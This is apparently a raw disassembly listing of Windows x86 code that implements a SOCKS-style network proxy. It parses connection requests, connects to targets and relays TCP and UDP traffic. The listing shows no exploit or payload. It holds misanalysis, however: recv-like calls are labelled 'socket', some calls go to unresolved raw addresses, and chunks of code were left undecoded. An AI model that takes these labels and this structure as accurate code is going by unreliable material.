		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		call	near ptr 71AB2DC0h
		nop
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0F6E8026Ah, 90716892h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445340
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445338
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		call	near ptr 71AB3B91h
		nop
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3D8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3D8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3D8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
